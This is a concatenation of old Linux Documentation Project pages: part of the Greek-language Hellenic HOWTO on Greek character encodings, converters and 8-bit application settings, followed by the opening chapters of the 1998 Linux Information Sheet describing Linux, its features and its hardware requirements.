File Transmission Protocol

GNU

GNU's not Unix, an FSF project

GPL

General Public License

IBM

International Business Machines Corp.

IP

Internet Protocol

ISO

International Standards Organization

KOI8

???---a popular encoding for Cyrillic on UNIX workstations

LaTeX

A macro package for TeX

MCS

DEC's Multilingual Character Set---the ISO 8859--1 draft standard

MIME

Multi-Purpose Internet Mail Extension

OS

Operating System

POSIX

Portable Operating System Interface (an IEEE UNIX standard)

PS

PostScript, Adobe's printer language

RFC

Request for Comment, an Internet standard

sed

stream editor, a UNIX file manipulation utility

TCP

Transmission Control Protocol

TeX

Donald Knuth's typesetting program

URL

a WWW Uniform Resource Locator

US-ASCII

the US national variant of ISO 646, see ASCII

VMS

Virtual Memory System---DEC's proprietary OS

WWW

World Wide Web

X11

X Window System


HELLENIC HOWTO: Pivakes xaraktnrwv, character sets

 Next Previous Contents

10. Pivakes xaraktnrwv, character sets

O H/U gia va parastnsei ta glwssika sumbola xrnsimopoiei 1byte=8bit, dnladn exoume 2^8=256 diaforetika grammata. O kwdikas ASCII (American Standard Code for Information Interchange) orizei austnra movo ta prwta 128 sumbola (7bit). Ta alla misa sumbola xrnsimopoiouvtai gia apeikovisn eidikwv sumbolwv allwv glwsswv alla kai grafikwv sumbolwv. Avti8eta, me alles eurwpaikes glwsses ta ellnvika eivai e3' oloklnrou sta 8bit. O profavns logos eivai ta polla diaforetika sumbola pou exei n ellnvikn glwssa se sxesn me tis upoloipes.

Pros8etes plnrofories gia ta ellnvika sto Diadiktuo, mporeite va breite sto RFC 1947, "Greek Character Encoding for Electronic Mail Messages". Deite sxetika http://andrew2.andrew.cmu.edu/rfc/rfc1947.html

10.1 Tupopoinseis twv ellnvikwv

Ta ellnvika uparxouv se polles diaforetikes tupopoinseis. Oi pio suvn8ismeves apo autes, eivai ta 737 kai ta 928. Amfotera eivai gia movotovika ellnvika. Ta mev 737 xrnsimopoiouvtai apo to DOS, ta de 928 apo ola ta UNIX kai Windows (me mikres parallages). To Linux exei sav kuria kwdikoselida ta 928. To oti exoume gia Ellnvika duo kai pleov protupa, fusika, eivai megalo problnma, pou 3epervietai me eidikous metatropeis, gia allagn apo to eva set sto allo.

Apo tnv tekmnriwsn tns Oracle gia to Linux kai ta egxeiridia tou server, mporei kaveis va brei ta diadedomeva ellnvika protupa pou xrnsimopoiouvtai se baseis dedomevwv (ara kai sta pio snmavtika sustnmata H/U) kai tous tupopoinmevous (ma pali;) kwdikous tous:

  • EL8ISO8859P7, Dnl. to ISO8859-7 gia to UNIX & Internet. Eivai gvwsto kai ws 928 & Latin7.
  • EL8MSWIN1253, Ta Windows ellnvika
  • EL8PC737, Ta DOS ellnvika
  • EL8MACGREEK, O Macintosh xrnsimopoiei ELOT-823 (IBM 851).
  • EL8MACGREEKS
  • EL8PC437S
  • EEC8EUROPA3
  • EL8EBCDIC875, IBM mainframes greek character set
  • EL8DEC, Auta eivai logika ta DEC, VAX/VMS ellnvika. (kaveis palios???)
Episns, to OS/2 xrnsimopoiei tnv kwdikoselida 869 kai 851 gia ta ellnvika.

10.2 737

Ta 737 eivai episns gvwsta kai ws 437G (=437Greek), giati proekuyav apo tropopoinsn twv amerikavikwv 437. Ta 737 prwtoemfavistnkav stis ellnvikes EPROM twv MDA kai Hercules kartwv grafikwv twv prwtwv PC, opou briskovtav dnladn sto HARDWARE. Xrnsimopoin8nkav kata korov sto DOS, kai gia auto ola ta arxeia pou proerxovtai apo ekei avamevetai va eivai 737. Epeidn ta 737 8ewrouvtai pleov kataloipo tou DOS, eivai kalutera va metatreyete ta arxeia pou eivai 737 se 928, bl. convertgreek . Sto Linux, n kwdikoselida 737 upostnrizetai plnrws movo stnv kovsola (text-mode), alla uparxouv kai merikes grammatoseires gia X-Windows.

Tropopoinsn purnva gia upostnri3n 737

Exouv avafer8ei periptwseis, opou to "d" (DELTA mikro) dev plnktrologeitai se kapoious purnves kai auto sumbaivei giati sumpiptei me to 128+ESC (128+27=155=asc("d")). Pngaivete sto /usr/src/linux/drivers/char/console.c, kapou leei:

              && (c != 127 || disp_ctrl)
              && (c != 128+27);
alla3te se
              && (c != 127 || disp_ctrl)
              /*      && (c != 128+27)*/;
kai kavete compile eva veo purnva.

737 se X-windows

Ta 737 upostnrizovtai se merikes apo tis fixed grammatoseires pou eivai sto paketo Grafis: graphis .

[ah@computer.org]'s report for names (from xlsfonts):
-misc-grfixed-medium-r-normal--0-0-75-75-c-0-grpc-737
-misc-grfixed-medium-r-normal--0-0-85-85-m-0-grpc-737
-misc-grfixed-medium-r-normal--14-110-75-75-c-75-grpc-737
-misc-grfixed-medium-r-normal--16-120-75-75-c-75-grpc-737
-misc-grfixed-medium-r-normal--23-179-85-85-m-120-grpc-737
-misc-grfixed-medium-r-semicondensed--0-0-75-75-c-0-grpc-737
-misc-grfixed-medium-r-semicondensed--10-100-75-75-c-60-grpc-737
-misc-grfixed-medium-r-semicondensed--13-120-75-75-c-60-grpc-737
-misc-grvga-medium-r-normal--0-0-75-75-c-0-grpc-737
-misc-grvga-medium-r-normal--13-120-75-75-c-60-grpc-737
  (nomizw kapoia exoyn bugs kai exw skopo na ta diorthwsw se next release).

10.3 928

Ta ellnvika 928 eivai n pio sugxrovn kai diadedomevn tupopoinsn kai ka8ierw8nke arxika apo tov ELOT. Argotera egivav apodekta kai apo tov ISO ws ISO-Latin-8859-7, n apla Latin7, akoma kai n UNICODE upostnri3n ellnvikwv basizetai se auta. Ta 928 xrnsimopoiouvtai se oles tis efarmoges twv UNIX, sto Internet kai apotelouv to snmerivo protupo kai gia to Linux. To protupo 928 upostnrizetai, kai stnv kovsola (text-mode), kai se grafiko periballov (X-Windows).

Windows-1253

H kuria apoklisn twv Windows ellnvikwv (Windows-1253) apo tnv tupopoinsn ELOT 928, eivai o xaraktnras "A", (A tovoumevo) tou 928 o opoios sta Windows avtistoixei sto Paragraph mark. Apo ta Windows-1253 leipouv episns n avw teleia, kai ta ellnvika omoiwmatika << kai >>. Epeidn moiraia 8a prepei va apodextoume tov periorismo auto pou mas 8etouv ta MS-Windows, kai epeidn arketoi xrnstes xrnsimopoiouv wintel platforma ergasias, kalo 8a eivai va apofeugetai to < A tovoumevo > kata tnv apostoln e-mails, postings, klp. Evallaktika mporeite va xrnsimopoieite to 'A ( ' = SHIFT+" ) Paromoia problnmata uparxouv kai me ta 'E kai 'O. Gia eukolia sas, auta eivai ola ta tovoumeva kata 928: AEHIOYO.

10.4 Unicode

Ta UNICODE (ISO 10646) eivai 16bit (dnl. 65536 suvdiasmoi) kai perilambavouv polles glwsses, mazi me ta vea ellnvika, pou exouv offset #370 kai ta arxaia ellnvika me offset #1F00. Upostnrizovtai apo ta vea mexri ta arxaia (polutovika) ellnvika kai Grammikn B! To Linux upostnrizei eswterika ta UNICODE, alla akoma n xrnsn tous dev eivai diadedomevn, giati e3artatai kai apo tnv uio8etnsn tous apo tis efarmoges. Gia perissotera deite: http://linuxdoc.org/HOWTO/Unicode-HOWTO.html

====================================================================
Vasilis Vasaitis <vas@hal.csd.auth.gr>:
 Av kai dev exw asxoln8ei ektevws me to avtikeimevo, mporw va suveisferw
kapoia gvwsn pou exw epi tou 8ematos. Loipov, exoume kai leme:

  Kapoia stigmn, se avupopto xrovo, eixa katebasei eva Unicode fixed font
gia ta X windows. Epeidn duskola sbnvw auta pou katebazw, to brnka va
ka8etai akoma sto disko mou. H grammatoseira autn dev periexei to plnres
Unicode, afou auto apoteleitai apo perissoterous apo 38000 xaraktnres, apo
tous opoious oi perissoteroi eivai Kivezika/Iapwvika/Koreatika, pou etsi ki
alliws sto 6x13 tou fixed dev mpaivouv. Omws me peripou 2800 xaraktnres (n
ekdosn pou exw egw toulaxistov) kaluptei plnrws tnv lativikn, ellnvikn,
kurillikn, armevikn, gewrgiavn kai ebraikn grafn, suv kapoia texvika kai
ma8nmatika sumbola. H grammatoseira autn mporei va xrnsimopoin8ei ws protupo
apo opoiovdnpote evdiaferetai va sxediasei grammatoseires me pollous
xaraktnres sxetika me pio praktikes efarmoges, deite parakatw. H selida tou
tupou pou tnv eftia3e, av eivai akoma n idia, eivai:

  http://www.cl.cam.ac.uk/~mgk25/

        Upostnri3n stnv kovsola:

  H kovsola upostnrizei Unicode edw kai kati aiwves, mesw bebaia tou UTF8
(gia osous dev 3erouv, to UTF8 eivai mia avaparastasn tou UniCode me
metablnto mege8os, to opoio gia gia tous 128 prwtous xaraktnres exei tnv
idia morfn me to ASCII). To 8ema eivai oti etsi ki alliws n upostnri3n tns
VGA gia xaraktnres pou emfavizovtai sugxrovws eivai polu periorismevn (256,
512 xwris to avabosbnma).

        Upostnri3n sta X:

  H grammatoseira pou avaferw parapavw douleuei mia xara, kai n teleutaia
fora pou tn dokimasa ntav priv polu kairo. Episns, tuxaivei va exw evav X
server me evswmatwmevn upostnri3n TrueType fonts (dev fortwvw font server),
kai blepw oti kai ta TrueType douleuouv mia xara. Gia osous dev 3erouv, ta
XFree86 4.0 8a erxovtai me evswmatwmevn upostnri3n TrueType. H Microsoft
(dev exw apo alln etaireia) xrnsimopoiei stis grammatoseires tns to Windows
Glyph List 4 (WGL4), to opoio eivai uposuvolo tou ISO 10646-1 (ligo polu
auto pou exei n grammatoseira pou periegraya arxika).

        Efarmoges:

  Edw katarreouv ola. Autn tn stigmn uparxouv kava duo programmata pou
kavouv metatropn apo/pros UTF8, to yudit kai to Netscape pou mazeuouv apo
edw ki apo ekei gia va brouv arketa sumbola tou Unicode, kai apo ekei kai
pera to xaos. Pavtws kalov 8a eivai va arxisei prospa8eia gia ta fonts, kai
favtazomai oti oi efarmoges 8a koita3ouv va akolou8nsouv.

---------------

Report apo Panagioti Vrioni:

Gnwrizw oti o Giannis Gyftomitros <yang@hellug.gr> exei hdh arxisei
na asxoleitai me thn dunatothta dhmiourgias Unicode grammatoseirwn
pou na periexoun kai ta ellhhnika (Project Grafis, bl. GRArial k.l.),
isws na exei proxwrhsei kai parapera...

Apo thn ekdosh 6.0, o XFS pou periexetai sto Red Hat exei patch wste
na mporei na emfanisei Trye Type Fonts. Bl. sxetiko "White Paper" stho
"support" ths http://www.redhat.com/ . An balete Unicode TTFonts
(px. ths M$) auta paizoun, me thn ennoia oti fainontai dia8esima
ta fonts me xilia-duo diaforetika encodings. Den kserw omws an paizoun
kai san unicode grammatoseira, px. gia na dei kapoios ena keimeno
me ellhnika, agglika kai kinezika tautoxrona sto Netscape.

=====================================================================

Unicode Links

Uparxei mia fixed grammatoseira gia Xwindows, deite sxetika: http://www.cl.cam.ac.uk/~mgk25/ucs-fonts.html

Uparxei kai evas text editor gia Unicode, me to ovoma Yudit, ftp://metalab.unc.edu/pub/Linux/apps/editors/X/yudit-1.1.tar.gz

To protupo UTF-8 eivai pleov standard sto Internet, deite to sxetiko RFC: http://andrew2.andrew.cmu.edu/rfc/rfc2279.html

Perissotera gia ta vea ellnvika sta Unicode edw: http://charts.unicode.org/Unicode.charts/normal/U0370.html

10.5 Metatropeis ellnvikwv

gr2gr

O Aggelos Xaritsns < ah@computer.org> exei grayei tov metatropea autov: ftp://ftp.hri.org/pub/greek/programs/gr2gr.prl Trexei me perl (5 n 4). Suvepws douleuei se opoio leitourgiko sustnma exei egkatasta8ei perl (unix, dos, win32, os2, mac, vms ...).

Upostnrizei polla diaforetika ellnvika, opws:

  • 928: ELOT 928
  • 437: IBM 437 (*default* input)
  • lat: latin greek form, aka greeklish (*default* output)
  • 437b: IBM 437b
  • win: Windows
  • mac: Macintosh
  • 851: 851
  • 869: 869
  • quad: quadtek
  • sym: standard Symbol font codes (English garbled)
  • wgr: WinGreek (Windows shareware prg) encoding
  • troff: troff symbol font escape sequences, no diacritics (dialytika)
  • kdtex: Dryllerakis TeX (only conversions _to_ kdtex work)
  • ibytex: ibygrk TeX (only conversions _to_ ibygrk work)

grfilter

Sto Ivstitouto Texvologias Upologistwv uparxei to grfilter: ftp://ftp.cti.gr/pub/src/grfilter.tar

greek2lat

Sto directory ftp://corfu.forthnet.gr/pub/greek2lat uparxei evas metatropeas apo 928 se greeklish, katallnlos kai gia WEB sites.

trans120.tar.gz

O Kwstas Kwstns, < kosta@kostis.net > exei grayei episns autov tov metatropea, pou upostnrizei kai polla ellnvika, alla kai alles glwsses: http://www.kostis.net/freeware/trans120.tar.gz

gkconv

Uparxei kai eva programma tou Giwrgou Spnliwtn, metatrepei 437, Win95, X win. H dieu8uvsn tou agvoeitai.

recode

Auto eivai eva programmataki gevikns xrnsns apo to GNU project, to opoio upostnrizei metatropeis gia polles diaforetikes glwsses (kai ellnvika). Isws 8a eprepe ola ta upoloipa programmata kapoia stigmn va evswmatw8ouv se auto. Deite stnv dieu8uvsn http://www.delorie.com/gnu/docs/recode/recode_toc.html

10.6 Tupoi arxeiwv kai metatropn tous

.txt, .doc

Avaloga me tnv periptwsn, blepe convertgreek

.dbf

Suvn8ws eivai 737, 8elouv prosoxn stnv metatropn, afnste to gia kava guru.

.diz,

Suvn8ws eivai 737, blepe convertgreek

.html,

Prepei va eivai 928, kai faivovtai kavovika.

.mov, .avi

Av exei upotitlous sta ellnvika, 8a eivai OK :-)

.exe, .com

peta3te ta

10.7 Ti uparxei akoma sto Internet sxetika me ellnvika;

Xrnsimoi suvdesmoi:

  • Ellnviko Fortune: http://kronos.eng.auth.gr/~arvan/fortunes/
  • Virgo help on greek: http://www.virgo.gr/baza/greek.html
  • Hellenic Resources Institute (HRI): http://www.hri.org
  • Font pivakes sto HRI: http://www.hri.org/fonts/unix/pinakec.html
  • fonts@argeas: ftp://argeas.hellug.gr/pub/unix/linux/GREEK/fonts/
  • fonts@HRI: ftp://ftp.hri.org/pub/greek/fonts/x-win/
  • Selida tou Pavagiwtn Bruwvn gia grammatoseires: http://users.hol.gr/~vrypan/cactus/grfonts-1.html
  • Unix Greek Language Software (old): http://www.cs.columbia.edu/~akonstan/en/greek/software.html
  • Unicode Organization: http://www.unicode.org
  • I18N FAQ: http://www.vlsivie.tuwien.ac.at/mike/i18n.html
  • ISO fonts: ftp://ftp.vlsivie.tuwien.ac.at/pub/8bit/ISO-fonts
  • International fonts: ftp://ftp.vlsivie.tuwien.ac.at/pub/8bit/i18n-fonts
  • Using 8 bit characters: ftp://ftp.ulg.ac.be/pub/docs/iso8859/
  • ISO-8859 sets: http://wwwwbs.cs.tu-berlin.de/~czyborra/charsets/
  • Much charactersets info (kermit?): ftp://kermit.columbia.edu/kermit/charsets/
  • http://www.ora.com/homepages/comp.fonts/
Yaxte va breite oti xreiazeste me auto to search engine: http://www.google.org


HELLENIC HOWTO: TODO

 Next Previous Contents

11. TODO

To kefalaio auto periexei diafores ata3ivomntes plnrofories eite giati dev eivai epibebaiwmeves eite giati dev eivai akoma safes pws 8a topo8etn8ouv stnv domn tou basikou HOWTO. Eav mporeite, avalabete eva sugkekrimevo 8ema, breite tnv lusn tou, katagrayete tnv kai steilte tnv.

11.1 sgmlutils

To sgml2html htan ok. A na po oti ekana mia allagh sthn consola gia ta ellhnika (to paketo me to chcp enos apo thn patra) kai ka8e fora pou trexo thn perl mou bgazei: perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LC_ALL = (unset), LC_CTYPE = "iso_8859_7", LANG = (unset) are supported and installed on your system. perl: warning: Falling back to the standard locale ("C"). --------- Prepei na dwseis sgml2txt --charset=latin. Panayotis.

11.2 groff

Deite sxetika to ar8ro apo tov Giwrgo Keramida sto magaz: http://magaz.hellug.gr/09/03_groff.html

=====================================================================
[...]
H alln lusn (pio hackeradikn) eivai va kaveis to GROFF sou (to basiko
ergaleio pou xrnsimopoieitai apo to sgml2txt) va katalabaivei OLOUS
tous 8-bit characters, pairvovtas to SHAR pou stelvw parakatw kai
kavovtas oti leei to README tou.
Giorgos.

--- cut here : shell archive follows ---
#!/bin/sh
[...]
exit 0
=====================================================================

The GNU replacement for nroff, groff, has an option to generate ISO
8859-1 coded output, instead of plain ASCII.  Thus, you can preview
nroff documents with correctly displayed accented characters.  Invoke
groff with the "groff -Tlatin1" option to achieve this.

Groff is free software. It is available from URL
<htmlurl url="ftp://prep.ai.mit.edu/pub/gnu" name="ftp://prep.ai.mit.edu/pub/gnu">
and many other GNU archives around the world.

11.3 KDE

O Pavagiwtns Bruwvns < vrypan@hellug.gr> exei 3ekivnsei tnv metaglwttisn tou KDE, evos grafikou periballovtos gia Linux/Unix. Deite sxetika: http://users.hol.gr/~vrypan/cactus/kde.html, H ergasia autn eivai polu snmavtikn ka8ws ola deixvouv oti to KDE 8a epikratnsei gia eva megalo xroviko diastnma, suvdiazovtas eukolies pou parexovtai se alla grafika periballovta, opws to drag'n'drop, polla xrnsima utilities me koiva xaraktnristika (copy-paste), eukolia xeirismou klp.

11.4 vim,viH

Den doyleyoyn oloi oi vi 8-bit, oyte deixnoyn ta ellhnika svsta:
Yparxei enas (toylaxisto) vi clone poy legetai vim (vi improved)

        http://www.math.fu-berlin.de/~guckes/vim/
        ftp://ftp.oce.nl/pub/misc/vim

Aytos ektos apo alla kaloydia, einai 8-bit clean kai exei kai ena
language feature, to opoio energopoieitai dior8vnontas to arxeio
        src/feature.h

Ekei poy leei:
        #if 0
        # define HAVE_LANGMAP
        #endif
to kanoyme bebaia
        #if 1
        # define HAVE_LANGMAP
        #endif

Meta bazoyme sto ~/.vimrc to parakatv:
----- .vimrc CUT -----
version 4.6
set langmap=AAAAA?CEEEEIIII?NOOOOO?OUaaaaa?ceeeeiiii?nooooo?ou;ABGDEZHUIKLMNJOPRWSTYFXCVabgdezhuiklmnjoprwstyfxcv
----- END OF .vimrc CUT-----
kai meta oi entoles poy dinoyme sto vi mporei na einai kai me ellhnika grammata.
(kserete ti spasimo einai na exeis to plhktrologio gyrismeno sta ellhnika
kai na mhn dexetai entoles).

11.5 nn

(???) ===================================================================== Add the line ----------------- set data-bits 8 ----------------- to your /.nn/init (or the global configuration file) in order for nn to be able to process 8 bit characters =====================================================================

11.6 tin

(???)

11.7 mtools

        Deixnoyn, ypoti8etai, ellhnikoys xarakthres an baloyme to
parakatv sto ~/.mtoolsrc h sto /etc/mtools.conf:

        country="30,737,/dosfs/c/win/command/country.sys"

Mallon 8a yparxei mperdema me ta ellhnika (737 h 928?)
Den to exv dokimasei.

11.8 jove

to new JOVE 4.16 if compiled with CTYPE enabled ( -DUSE_CTYPE
-UNO_SETLOCALE) kanei mia xara ellhnika. Prepei omvs na exeis
swsto 8859-7 locale ellhnikvn sto systhma
Mexri kai svsto Upper kai lower casing kanei ! dokimaste to
[From: Angelos Karageorgiou <angelos@incredible.com>]

11.9 pcal

{
Ftiaxnei Postscript calendars se 7 diaforetikes glwsses. To
internationalisation toy pcal egine apo ton A.Haritsis
 <<htmlurl url="mailto:ah@computer.org" name="ah@computer.org">>
kai erxetai me sxedon plhres ellhniko eortologio (me kinhtes kai
akintes eortes aytomata topothetoymenes).
Ta hmerologia poy paragontai einai highly customisable (mporei kaneis
eykola na balei proswpikes hmeromhnies).
Yparxei kai ena WWW front-end sto:
http://www-asds.doc.ic.ac.uk/cgi-bin/grcal
Ta latest sources toy pcal einai sto:
http://uptown.turnpike.net/~rogers/
}

11.10 kermit

(???) ===================================================================== kermit : This is as close as I can get, but not completely satisfying yet: Put the following in your /.kermrc file

          set terminal bytesize 8
          set command bytesize 8
          set file bytesize 8
          set language danish
          set file character-set latin1-iso
          set transfer character-set latin1-iso
          set terminal character-set latin1-iso
I think there are more variables to set, but they are hiding. You would have to modify these settings if the remote system is DOS or OS/2 based. =====================================================================

11.11 SHMEIWSEIS

{tty -s}
------------
       "language"_"country"."character_encoding"
        el_GR.8859-7

It looks as if "language" is the two-letter code for the language from
ISO 639, and "country" is the two-letter code for the country from ISO
3166, but I don't know of any standard specifying "character_encoding".
------------

Opoios eftase ws edw sigoura 8a paei polu mprosta...


Linux Information Sheet

Michael K. Johnson <johnsonm@redhat.com>

v4.14, 1 September 1998

This document provides basic information about the Linux operating system, including an explanation of Linux, a list of features, some requirements, and some resources.

1. Introduction to Linux

2. Linux Features

3. Hardware Issues

  • 3.1 Minimal configuration
  • 3.2 Usable configuration
  • 3.3 Supported hardware

4. An Incomplete List of Ported Programs and Other Software

5. Who uses Linux?

6. Getting Linux

  • 6.1 Anonymous FTP
  • 6.2 CDROM
  • 6.3 Other methods of obtaining Linux

7. Legal Status of Linux

8. News About Linux

9. The Future

10. This document

11. Legalese


Linux Information Sheet: Introduction to Linux

 Next Previous Contents

1. Introduction to Linux

Linux is a completely free reimplementation of the POSIX specification, with SYSV and BSD extensions (which means it looks like Unix, but does not come from the same source code base), which is available in both source code and binary form. Its copyright is owned by Linus Torvalds <torvalds@transmeta.com> and other contributors, and is freely redistributable under the terms of the GNU General Public License (GPL). A copy of the GPL is included with the Linux source; you can also get a copy from ftp://prep.ai.mit.edu/pub/gnu/COPYING

Linux, per se, is only the kernel of the operating system, the part that controls hardware, manages files, separates processes, and so forth. There are several combinations of Linux with sets of utilities and applications to form a complete operating system. Each of these combinations is called a distribution of Linux. The word Linux, though it in its strictest form refers specifically to the kernel, is also widely and correctly to refer to an entire operating system built around the Linux kernel. For a list and brief discription of various distributions, see http://sunsite.unc.edu/LDP/HOWTO/Distribution-HOWTO.html None of these distributions is ``the official Linux''.

Linux is not public domain, nor is it `shareware'. It is `free' software, commonly called freeware or Open Source Software[tm] (see http://www.opensource.org), and you may give away or sell copies, but you must include the source code or make it available in the same way as any binaries you give or sell. If you distribute any modifications, you are legally bound to distribute the source for those modifications. See the GNU General Public License for details.

Linux is still free as of version 2.0, and will continue to be free. Because of the nature of the GPL to which Linux is subject, it would be illegal for it to be made not free. Note carefully: the `free' part involves access to the source code rather than money; it is perfectly legal to charge money for distributing Linux, so long as you also distribute the source code. This is a generalization; if you want the fine points, read the GPL.

Linux runs on 386/486/Pentium machines with ISA, EISA, PCI and VLB busses. MCA (IBM's proprietary bus) is not well-supported in 2.0.x and earlier versions, but support has been added to the current development tree, 2.1.x. If you are interested, see http://glycerine.itsmm.uni.edu/mca

There is a port to multiple Motorola 680x0 platforms (currently running on some Amigas, Ataris, and VME machines), which now works quite well. It requires a 68020 with an MMU, a 68030, 68040, or a 68060, and also requires an FPU. Networking and X now work. See news:comp.os.linux.m68k

Linux runs well on DEC's Alpha CPU, currently supporting the "Jensen", "NoName", "Cabriolet", "Universal Desktop Box" (better known as the Multia), and many other platforms. For more information, see http://www.azstarnet.com/~axplinux/FAQ.html

Linux runs well on Sun SPARCs; most sun4c, sun4m, and sun4u machines now run Linux, with support for sun4 in development. Red Hat Linux is (as of this writing) the only Linux distribution available for SPARCs; see http://www.redhat.com/support/docs/rhl-sparc/

Linux is being actively ported to the PowerPC architecture, including PowerMac (Nubus and PCI), Motorola, IBM, and Be machines. See http://www.cs.nmt.edu/~linuxppc/ and http://www.linuxppc.org/

Ports to other machines, including MIPS (see http://linus.linux.sgi.com and http://lena.fnet.fr/) and ARM, are under way and showing various amounts of progress. Don't hold your breath, but if you are interested and able to contribute, you may well find other developers who wish to work with you.

Linux is no longer considered to be in beta testing, as version 1.0 was released on March 14, 1994. There are still bugs in the system, and new bugs will creep up and be fixed as time goes on. Because Linux follows the ``open development model'', all new versions will be released to the public, whether or not they are considered ``production quality''. However, in order to help people tell whether they are getting a stable version or not, the following scheme has been implemented: Versions n.x.y, where x is an even number, are stable versions, and only bug fixes will be applied as y is incremented. So from version 1.2.2 to 1.2.3, there were only bug fixes, and no new features. Versions n.x.y, where x is an odd number, are beta-quality releases for developers only, and may be unstable and may crash, and are having new features added to them all the time. >From time to time, as the currect development kernel stabilizes, it will be frozen as the new ``stable'' kernel, and development will continue on a new development version of the kernel. Note that most releases of the Linux kernel, beta or not, are relatively robust; ``stable'' in this context means ``slow to change'' in addition to ``robust''.

The current stable version is 2.0.35 (this will continue to change as new device drivers get added and bugs fixed), and development has also started on the experimental 2.1.x kernels. The Linux kernel source code contains a file, Documentation/Changes, which explains changes that you should be aware of when upgrading from one kernel version to another. However, the great majority of Linux users simply update their Linux distribution occasionally to get a new kernel version.

Most versions of Linux, beta or not, are quite robust, and you can keep using those if they do what you need and you don't want to be on the bleeding edge. One site had a computer running version 0.97p1 (dating from the summer of 1992) for over 136 days without an error or crash. (It would have been longer if the backhoe operator hadn't mistaken a main power transformer for a dumpster...) Others have posted uptimes in excess of a year. One site still had a computer running Linux 0.99p15s over 600 days at last report.

One thing to be aware of is that Linux is developed using an open and distributed model, instead of a closed and centralized model like much other software. This means that the current development version is always public (with up to a week or two of delay) so that anybody can use it. The result is that whenever a version with new functionality is released, it almost always contains bugs, but it also results in a very rapid development so that the bugs are found and corrected quickly, often in hours, as many people work to fix them.

In contrast, the closed and centralized model means that there is only one person or team working on the project, and they only release software that they think is working well. Often this leads to long intervals between releases, long waiting for bug fixes, and slower development. The latest release of such software to the public is sometimes of higher quality, but the development speed is generally much slower.

For a discussion of these two models, read ``The Cathedral and the Bazaar'' at http://sagan.earthspace.net/~esr/writings/cathedral-bazaar/ by Eric Raymond.

As of September 1, 1998, the current stable version of Linux is 2.0.35, and the latest development version is 2.1.119.


Linux Information Sheet: Linux Features

 Next Previous Contents

2. Linux Features

  • multitasking: several programs running at the same time.
  • multiuser: several users on the same machine at the same time (and no two-user licenses!).
  • multiplatform: runs on many different CPUs, not just Intel.
  • multiprocessor: SMP support is available on the Intel and SPARC platforms (with work currently in progress on other platforms), and Linux is used in several loosely-coupled MP applications, including Beowulf systems (see http://cesdis.gsfc.nasa.gov/linux-web/beowulf/beowulf.html) and the Fujitsu AP1000+ SPARC-based supercomputer.
  • multithreading: has native kernel support for multiple independent threads of control within a single process memory space.
  • runs in protected mode on the 386.
  • has memory protection between processes, so that one program can't bring the whole system down.
  • demand loads executables: Linux only reads from disk those parts of a program that are actually used.
  • shared copy-on-write pages among executables. This means that multiple process can use the same memory to run in. When one tries to write to that memory, that page (4KB piece of memory) is copied somewhere else. Copy-on-write has two benefits: increasing speed and decreasing memory use.
  • virtual memory using paging (not swapping whole processes) to disk: to a separate partition or a file in the filesystem, or both, with the possibility of adding more swapping areas during runtime (yes, they're still called swapping areas). A total of 16 of these 128 MB (2GB in recent kernels) swapping areas can be used at the same time, for a theoretical total of 2 GB of useable swap space. It is simple to increase this if necessary, by changing a few lines of source code.
  • a unified memory pool for user programs and disk cache, so that all free memory can be used for caching, and the cache can be reduced when running large programs.
  • dynamically linked shared libraries (DLL's), and static libraries too, of course.
  • does core dumps for post-mortem analysis, allowing the use of a debugger on a program not only while it is running but also after it has crashed.
  • mostly compatible with POSIX, System V, and BSD at the source level.
  • through an iBCS2-compliant emulation module, mostly compatible with SCO, SVR3, and SVR4 at the binary level.
  • all source code is available, including the whole kernel and all drivers, the development tools and all user programs; also, all of it is freely distributable. Plenty of commercial programs are being provided for Linux without source, but everything that has been free, including the entire base operating system, is still free.
  • POSIX job control.
  • pseudoterminals (pty's).
  • 387-emulation in the kernel so that programs don't need to do their own math emulation. Every computer running Linux appears to have a math coprocessor. Of course, if your computer already contains an FPU, it will be used instead of the emulation, and you can even compile your own kernel with math emulation removed, for a small memory gain.
  • support for many national or customized keyboards, and it is fairly easy to add new ones dynamically.
  • multiple virtual consoles: several independent login sessions through the console, you switch by pressing a hot-key combination (not dependent on video hardware). These are dynamically allocated; you can use up to 64.
  • Supports several common filesystems, including minix, Xenix, and all the common system V filesystems, and has an advanced filesystem of its own, which offers filesystems of up to 4 TB, and names up to 255 characters long.
  • transparent access to MS-DOS partitions (or OS/2 FAT partitions) via a special filesystem: you don't need any special commands to use the MS-DOS partition, it looks just like a normal Unix filesystem (except for funny restrictions on filenames, permissions, and so on). MS-DOS 6 compressed partitions do not work at this time without a patch (dmsdosfs). VFAT (WNT, Windows 95) support and FAT-32 is available in Linux 2.0
  • special filesystem called UMSDOS which allows Linux to be installed on a DOS filesystem.
  • read-only HPFS-2 support for OS/2 2.1
  • HFS (Macintosh) file system support is available separately as a module.
  • CD-ROM filesystem which reads all standard formats of CD-ROMs.
  • TCP/IP networking, including ftp, telnet, NFS, etc.
  • Appletalk server
  • Netware client and server
  • Lan Manager/Windows Native (SMB) client and server
  • Many networking protocols: the base protocols available in the latest development kernels include TCP, IPv4, IPv6, AX.25, X.25, IPX, DDP (Appletalk), Netrom, and others. Stable network protocols included in the stable kernels currently include TCP, IPv4, IPX, DDP, and AX.25.


Linux Information Sheet: Hardware Issues

 Next Previous Contents

3. Hardware Issues

3.1 Minimal configuration

The following is probably the smallest possible configuration that Linux will work on: 386SX/16, 1 MB RAM, 1.44 MB or 1.2 MB floppy, any supported video card (+ keyboards, monitors, and so on of course). This should allow you to boot and test whether it works at all on the machine, but you won't be able to do anything useful. See http://rsphy1.anu.edu.au/~gpg109/mem.html for minimal Linux configurations

In order to do something, you will want some hard disk space as well, 5 to 10 MB should suffice for a very minimal setup (with only the most important commands and perhaps one or two small applications installed, like, say, a terminal program). This is still very, very limited, and very uncomfortable, as it doesn't leave enough room to do just about anything, unless your applications are quite limited. It's generally not recommended for anything but testing if things work, and of course to be able to brag about small resource requirements.

3.2 Usable configuration

If you are going to run computationally intensive programs, such as gcc, X, and TeX, you will probably want a faster processor than a 386SX/16, but even that should suffice if you are patient.

In practice, you will want at least 4 MB of RAM if you don't use X, and 8 MB if you do. Also, if you want to have several users at a time, or run several large programs (compilations for example) at a time, you may want more than 4 MB of memory. It may still work with a smaller amount of memory, but it will use virtual memory (using the hard drive as slow memory) and that will be so slow as to be unusable. If you use many programs at the same time, 16 MB will reduce swapping considerably. If you don't want to swap appreciably under normal load, 32 MB will probably suffice for a single user. If you run lots of memory-intensive applications at once, 64 MB may be necessary to avoid lots of swapping. Of course, if you run memory-hungry applications, you may want more.

